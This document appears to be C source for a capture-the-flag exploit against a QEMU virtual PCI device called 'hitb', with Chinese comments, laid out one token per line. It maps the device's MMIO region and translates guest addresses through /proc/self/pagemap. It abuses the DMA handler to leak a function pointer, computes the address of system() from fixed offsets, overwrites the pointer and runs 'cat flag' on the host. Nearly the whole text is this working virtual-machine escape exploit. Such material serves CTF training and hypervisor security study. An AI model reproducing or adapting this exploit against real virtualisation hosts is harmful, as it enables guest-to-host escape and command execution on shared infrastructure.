char
*
pci_device_name
=
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
;
unsigned char
*
tmpbuf;
uint64_t tmpbuf_phys_addr;
unsigned char
*
mmio_base;
unsigned char
*
getMMIOBase(){
int
fd;
if
((fd
=
open
(pci_device_name, O_RDWR | O_SYNC))
=
=
-
1
) {
perror(
"open pci device"
);
exit(
-
1
);
}
mmio_base
=
mmap(
0
, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd,
0
);
if
(mmio_base
=
=
(void
*
)
-
1
) {
perror(
"mmap"
);
exit(
-
1
);
}
return
mmio_base;
}
/
/
获取页内偏移
uint32_t page_offset(uint32_t addr)
{
/
/
addr &
0xfff
return
addr & ((
1
<< PAGE_SHIFT)
-
1
);
}
uint64_t gva_to_gfn(void
*
addr)
{
uint64_t pme, gfn;
size_t offset;
int
fd;
fd
=
open
(
"/proc/self/pagemap"
, O_RDONLY);
if
(fd <
0
) {
perror(
"open"
);
exit(
1
);
}
/
/
printf(
"pfn_item_offset : %p\n"
, (uintptr_t)addr >>
9
);
offset
=
((uintptr_t)addr >>
9
) & ~
7
;
/
/
/
/
下面是网上其他人的代码,只是为了理解上面的代码
/
/
一开始除以
0x1000
(getpagesize
=
0x1000
,
4k
对齐,而且本来低
12
位就是页内索引,需要去掉),即除以
2
*
*
12
, 这就获取了页号了,
/
/
pagemap中一个地址
64
位,即
8
字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以
8
去找到对应的偏移从而获得对应的物理地址
/
/
最终 vir
/
2
^
12
*
8
=
(vir
/
2
^
9
) & ~
7
/
/
这跟上面的右移
9
正好对应,但是为什么要 & ~
7
,因为你 vir >>
12
<<
3
, 跟vir >>
9
是有区别的,vir >>
12
<<
3
低
3
位肯定是
0
,所以通过& ~
7
将低
3
位置
0
/
/
int
page_size
=
getpagesize();
/
/
unsigned
long
vir_page_idx
=
vir
/
page_size;
/
/
unsigned
long
pfn_item_offset
=
vir_page_idx
*
sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme,
8
);
/
/
确保页面存在——page
is
present.
if
(!(pme & PFN_PRESENT))
return
-
1
;
/
/
physical frame number
gfn
=
pme & PFN_PFN;
return
gfn;
}
uint64_t gva_to_gpa(void
*
addr)
{
uint64_t gfn
=
gva_to_gfn(addr);
assert
(gfn !
=
-
1
);
return
(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*
((uint64_t
*
)(mmio_base
+
addr))
=
value;
}
uint64_t mmio_read(uint64_t addr)
{
return
*
((uint64_t
*
)(mmio_base
+
addr));
}
void set_cnt(uint64_t val)
{
mmio_write(
144
, val);
}
void set_src(uint64_t val)
{
mmio_write(
128
, val);
}
void set_dst(uint64_t val)
{
mmio_write(
136
, val);
}
void start_dma_timer(uint64_t val){
mmio_write(
152
, val);
}
void dma_read(uint64_t offset, uint64_t cnt){
/
/
设置dma_buf的索引
set_src(DMA_BASE
+
offset);
/
/
设置读取后要写入的物理地址
set_dst(tmpbuf_phys_addr);
/
/
设置读取的大小
set_cnt(cnt);
/
/
触发hitb_dma_timer
start_dma_timer(
1
|
2
);
/
/
等待上面的执行完
sleep(
1
);
}
void dma_write(uint64_t offset, char
*
buf, uint64_t cnt)
{
/
/
将我们要写的内容先复制到tmpbuf
memcpy(tmpbuf, buf, cnt);
/
/
设置物理地址(要从这读取写到dma_buf[opaque
-
>dma.dst
-
0x40000
])
set_src(tmpbuf_phys_addr);
/
/
设置dma_buf的索引
set_dst(DMA_BASE
+
offset);
/
/
设置写入大小
set_cnt(cnt);
/
/
触发hitb_dma_timer
start_dma_timer(
1
);
/
/
等待上面的执行完
sleep(
1
);
}
void dma_write_qword(uint64_t offset, uint64_t val)
{
dma_write(offset, (char
*
)&val,
8
);
}
void dma_enc_read(uint64_t offset, uint64_t cnt)
{
/
/
设置dma_buf的索引
set_src(DMA_BASE
+
offset);
/
/
设置读取后要写入的物理地址
set_dst(tmpbuf_phys_addr);
/
/
设置读取的大小
set_cnt(cnt);
/
/
触发hitb_dma_timer
start_dma_timer(
1
|
2
|
4
);
/
/
等待上面的执行完
sleep(
1
);
}
int
main(
int
argc, char const
*
argv[])
{
getMMIOBase();
printf(
"mmio_base Resource0Base: %p\n"
, mmio_base);
tmpbuf
=
malloc(
0x1000
);
tmpbuf_phys_addr
=
gva_to_gpa(tmpbuf);
printf(
"gva_to_gpa tmpbuf_phys_addr %p\n"
, (void
*
)tmpbuf_phys_addr);
printf(
"tmpbuf: %p\n"
, tmpbuf);
printf(
"&tmpbuf: %p\n"
, &tmpbuf);
/
/
将enc函数指针写到tmpbuf_phys_addr,之后通过tmpbuf读出即可
dma_read(
4096
,
8
);
uint64_t hitb_enc_addr
=
*
((uint64_t
*
)tmpbuf);
uint64_t binary_base_addr
=
hitb_enc_addr
-
0x283DD0
;
uint64_t system_addr
=
binary_base_addr
+
0x1FDB18
;
printf(
"hitb_enc_addr: 0x%lx\n"
, hitb_enc_addr);
printf(
"binary_base_addr: 0x%lx\n"
, binary_base_addr);
printf(
"system_addr: 0x%lx\n"
, system_addr);
/
/
覆盖enc函数指针为system地址
dma_write_qword(
4096
, system_addr);
char
*
command
=
"cat flag"
;
dma_write(
0x200
, command, strlen(command));
/
/
触发hitb_dma_timer中的enc函数,从而调用syetem
dma_enc_read(
0x200
,
666
);
return
0
;
}